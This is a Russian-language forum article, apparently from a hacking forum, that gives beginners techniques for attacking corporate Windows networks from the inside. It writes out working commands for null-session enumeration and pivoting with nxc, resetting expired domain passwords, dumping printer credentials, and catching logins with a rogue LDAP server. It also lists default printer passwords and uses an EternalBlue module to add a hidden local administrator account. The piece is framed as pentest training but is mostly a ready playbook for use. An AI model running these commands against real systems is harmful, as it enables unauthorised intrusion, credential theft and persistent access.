Не удалось прогрузить медиа
Учитывая направленность форума на обучение захотелось написать статью, которая будет предназначена в основном для новичков, которые уже имеют некоторую базу, но смогут подчерпнуть полезные и нетривиальные фишки, которые не один раз помогали мне при пентесте реальных сетей. Также наверняка, и более опытные коллеги смогут узнать что-то новое.
В этой статье мы рассмотрим некоторые фишки и лайфхаки с которыми сталкиваются большинство специалистов при пентесте сетей уже находясь внутри корпоративной сети.
1. Просроченный пароль
Начать хотелось бы с такой ситуации, когда каким либо способом были получены креды от учетной записи, но при попытке авторизоваться под ними получаем ошибку Password expired. Войти по RDP, либо через smb и поменять пароль не дает. Однако есть способ решить эту проблему
Разберем на реальном примере
Пытаемся войти:
Bash:
nxc smb 192.168.1.10 -u user -p 'Password123'
Bash:
SMB 192.168.1.10 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:contoso.local) (signing:True)
SMB 192.168.1.10 445 DC [-] contoso.local\user:Password123 STATUS_PASSWORD_MUST_CHANGE
Самое главное – на новых ОС Windows эта ошибка может не отображаться, а выводиться как ошибка NETBIOS:
Не удалось прогрузить медиа
Многие новички и не только видя эту ошибку либо не обращают внимания, либо думают что на этом хосте авторизоваться не получится.
Стоит сразу проверить, истек ли срок действия пароля или все таки другая ошибка следующей командой:
Bash:
smbclient -U user1 -L \\\\192.168.78.1
Не удалось прогрузить медиа
Видим, что наше предположение оказалось верным, нужно сбрасывать. Однако некоторые пробуют поменять пароль следующим способом:
Bash:
impacket-changepasswd $DOMAIN/user1:'P@ssw0rd123'@192.168.78.1 -newpass 'NewP@ssw0rd321!'
Не удалось прогрузить медиа
Как можете заметить, популярное решение не помогло в нашей ситуации и мы по прежнему получаем ошибку. То же и с smbpasswd:
Не удалось прогрузить медиа
Чтобы сбросить пароль на новой винде нужно найти хост, на котором разрешена нулевая сессия, благо nxc автоматически это определяет и менять пароль именно на нем либо указать в качестве DC хост, на котором разрешена null-session. При этом нужно использовать протокол smb-samr:
Не удалось прогрузить медиа
Bash:
impacket-changepasswd -protocol smb-samr -newpass 'NewP@ssw0rd321!' 'user1:P@ssw0rd123@$IP-with-nullsess -dc-ip $IP
Не удалось прогрузить медиа
С более старыми ОС все будет немного проще, нулевая сессия может и не потребоваться.
2. Нулевая сессия
Раз уж начали говорить про Null-session, то стоит рассказать подробнее. Бывают ситуации когда ты внутри сети, но дальше пройти никак не получается. Стоит попробовать просканить сеть с пустым пользователем паролем, причем как локально так и через домен
Bash:
nxc smb 192.168.1.0/24 -u '' -p ''
nxc smb 192.168.1.0/24 -u '' -p '' –local-auth
И на каком-то сервере (обычно старые Windows 7/Server 2008 или плохо настроенные) появляется:
Bash:
SMB 192.168.1.50 445 OLDSRV [+] \:
Допустим мы нашли такой доступ, но что с ним делать?
Для нас это открывает сразу несколько возможностей
Во-первых, посмотреть подключен ли кто-то к этому хосту:
Bash:
nxc smb 192.168.1.50 -u '' -p '' –sessions
Самое полезное это получить список пользователей, которых можно поставить на брут:
Bash:
nxc smb 192.168.1.50 -u '' -p '' --users
Еще один полезный момент это получить соединение через этот хост, тем самым мы получим доступ к внутренней подсети, если такая есть:
nxc smb 192.168.1.50 -u '' -p '' --socks
А затем через proxychains сканировать внутренние подсети, которых вообще не должно быть видно.
В эту же категорию стоит отнести попытку найти дефолтные локальные учетки про которые почему то все забывают
Bash:
nxc smb 192.168.1.0/24 -u 'Administrator' -p '' –local-auth
2. Принтеры
Один из моих любимых способов дальнейшего продвижения в случаях, когда нет никакой зацепки
Мы будем вытаскивать креды через принтеры, которые как правило есть в 90% сетей.
Для начала найдем все принтеры
Bash:
nmap -p5001,80,443 --open 10.0.0.0/24
Не удалось прогрузить медиа
Нам нужны принтеры Kyocera и Konica Minolta
Начнем с Kyocera:
Вытаскиваются из нее данные с помощью утилиты (github-ссылка)
Bash:
python getKyoceraCreds.py
Не удалось прогрузить медиа
На некоторых версиях скрипт может не раотать, поэтому нужно зайти вручную на веб страницу принтера и попробовать авторизоваться под стандартными данными, у Kyocera это admin:admin или Admin:Admin
Затем перейти в настройки Сети, настройки сетевых протоколов и обнаружить там данные:
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Еще один интересующий нас вид принтеров – Konica Minolta, они будут отображаться на порту 5001, но здесь все просто, нужно использовать msfconsole, а внутри
gather/konica_minolta_pwd_extract
Так же советую попробовать заходить на все принтеры и искать креды под стандартными данными:
-Pantum admin 000000
-Epson epson epson
-Epson EPSONWEB admin
-Canon ADMIN canon
-Kyocera Admin Admin
-Xerox Admin 1111
-Brother admin access
-HP admin admin или blank
Если же пароль не отображается, можно зайти в настройки принтера и поменять сервер ldap на наш собственный, который разворачивается через тот же Metasploit
auxiliary/server/capture/ldap
и при попытке принтера авторизоваться будем ловить креды:
Не удалось прогрузить медиа
3. Зачастую нужен доступ по RDP
Чаще всего используется xfreerdp, но при работе с различными устройствами возникает ряд ошибок такого рода:
Не удалось прогрузить медиа
Рекомендую использовать Remmina, которая как правило автоматически может настроить подключение по RDP, VNC и SSH к любой ОС
Не удалось прогрузить медиа
4. Отдельно хотелось бы сказать про ZeroLogon и EternalBlue
Дело в том, что при разворачивании сети, корпоративные айтишники часто ставят запасные DC на виртуальные машины, а образ для него берут старый или из неофициальных источников, на которых нет патчей или специально вырезаны некоторые функции, из-за чего даже на новых операционках работает данная уязвимость. Советую проверять это на всех DC, особенно если их несколько в сети, версии Windows Server 2008 R и выше.
Проблема с EternalBlue
Старая уязвимость, про которую уже писали все. Но она по прежнему встречается в сетях и при эксплуатации у новичков возникает такая ошибка:
Bash:
[*] Started reverse TCP handler on 192.168.0.36:4444
[*] 192.168.0.210:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.0.210:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x86 (32-bit)
[*] 192.168.0.210:445 - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.0.210:445 - The target is vulnerable.
[-] 192.168.0.210:445 - Exploit aborted due to failure: no-target: This module only supports x64 (64-bit) targets
[*] Exploit completed, but no session was created.
В интернете можно найти множество решений, но если это старая ОС которая отображается как Windows 5.1, то ничего не сработает. В таком случае нужно пользоваться модулем auxiliary/admin/smb/ms17_010_command, который не требует загрузки на таргет исполняемых файлов. Мы просто устанавливаем нужные команды и запускаем
Bash:
set command “net user admin password /add”
run
set command ‘net localgroup “Administrators” /add admin’
run
Итог
В данной статье я рассказал, о тех моментах, которых не хватает новичкам при тестировании сетей и не хватало мне в ранние годы. Многие опытные исследователи напишут, что вся эта информация есть в сети и спокойно гуглится, но вспомните себя в начале пути и возможно эта статья вам покажется полезной.
Так же обращаясь к другим авторам, хотел бы привлечь внимание к тому, что статьи часто читают именно новые в этой сфере люди. Основываясь на сообщениях, которые приходят мне на форум с просьбами разъяснить какие-то простые вещи , попрошу авторов делать акцент именно на этом и рассказывать о вещах, которые казалось бы всем понятны и не требует пояснений.
С уважением DCcorp&SPBcorp!
👍36
😮7
🤔9
😢6
💯4
LIMB